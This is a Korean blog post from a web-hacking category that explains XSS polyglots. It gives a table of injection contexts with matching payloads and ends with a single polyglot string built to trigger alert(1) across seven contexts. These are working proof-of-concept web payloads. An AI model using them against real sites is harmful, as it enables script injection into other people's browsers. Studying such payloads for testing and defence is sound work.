XSS Polyglots
XSS하면 떠오르는 구문이 있죠 <script>alert(1)</script.> 라던지.. <.img src='x' onerror=alert(1)> 라던지 등등 구글에 XSS Cheat Sheet라고만 쳐도 엄청나게 많은 구문들이 나옵니다.
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
XSS Cheat Sheet
XSS 공격에 성공하기 위해서는 XSS에 취약한 부분을 찾고, 그 자리에 공격 코드를 주입하게 되는데요. 단순히 <script>alert(1)</script> 구문으로 성공하기 보다. 앞의 구문을 마무리 하기위해 "> 오른쪽 꺽쇠를 넣어준다던지 아니면 --> 를 써서 주석처리를 해버린다던지 하여서 "><script>alert(1)</script> 이런식으로 공격코드를 작성하게 됩니다. 만약에 주입이 되는곳에 어떤 취약점이 있는지 모르는 상황일때, 즉 blind XSS를 해야 할 경우, 여러번의 공격 Request를 서버로 보내서 추측해봐야 합니다. / 도 넣어보고.. "> 도 넣어보고 .. </table> 도넣어보고 이런식으로요.
그런데 이런 작업을 한방에 해줄 수 있는 공격구문이 있는데요. 이걸 Polyglots 라고 부릅니다. 여러번 Request를 하는것보다 한번의 요청으로 하는게 당연히 좋겠죠. 먼저 OWASP 홈피에 나와있는 Polyglots 공격코드를 보겠습니다.
보시면 /*--></title></style> 등등 많은 상황에서 적용될 수 있도록 만들어져서 공격구문이 복잡합니다. 좀더 쉽게 이해하기 위해서 XSS Polyglots 공격 구문을 만들어 보겠습니다.
조건 | 주입될 위치 | 공격구문 |
---|---|---|
싱글쿼터, HTML Tag | <a class='HERE'> | 'onclick=alert(1) |
더블쿼터, HTML Tag | <a class="HERE"> | "onclick=alert(1)'onclick=alert(1) |
쿼터없음, HTML Tag | <a class="HERE"> | "onclick=alert(1)'onclick=alert(1) |
싱글쿼터, Javascript | var str = 'HERE' | "onclick=alert(1)'onclick=alert(1)// |
더블쿼터, Javascript | var str = "HERE" | "onclick=alert(1)'onclick=alert(1)// |
/* */ 주석 스타일을 사용한 Javascript | /* HERE */ | "onclick=alert(1)'onclick=alert(1)// */alert(1)/* |
HTML context | <div>HERE</div> | "onclick=alert(1)<button 'onclick=alert(1)//> */alert(1)// |
결론적으로
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
라는 구문이 만들어졌고, 이 구문은 7개의 상황을 모두 커버할 수 있게됩니다. 더욱 확장도 가능하구요.
이렇게 XSS Polyglot를 만들어서 경쟁하는 사이트도 있습니다. 시간나면 해보는것도 괜찮을 것 같네요.
'Security > Web Hacking' 카테고리의 다른 글
XSS Attack 에 사용될 수 있는 이벤트 핸들러 (0) | 2019.04.03 |
---|---|
sqlmap 모든 옵션 및 사용법 정리 (0) | 2019.04.03 |
데이터베이스(DB) 종류 별 명령어 정리2 (0) | 2019.04.02 |
데이터베이스(DB) 종류 별 명령어 정리 (2) | 2019.03.31 |
Command Injection 이란? (커맨드 인젝션) (0) | 2019.03.14 |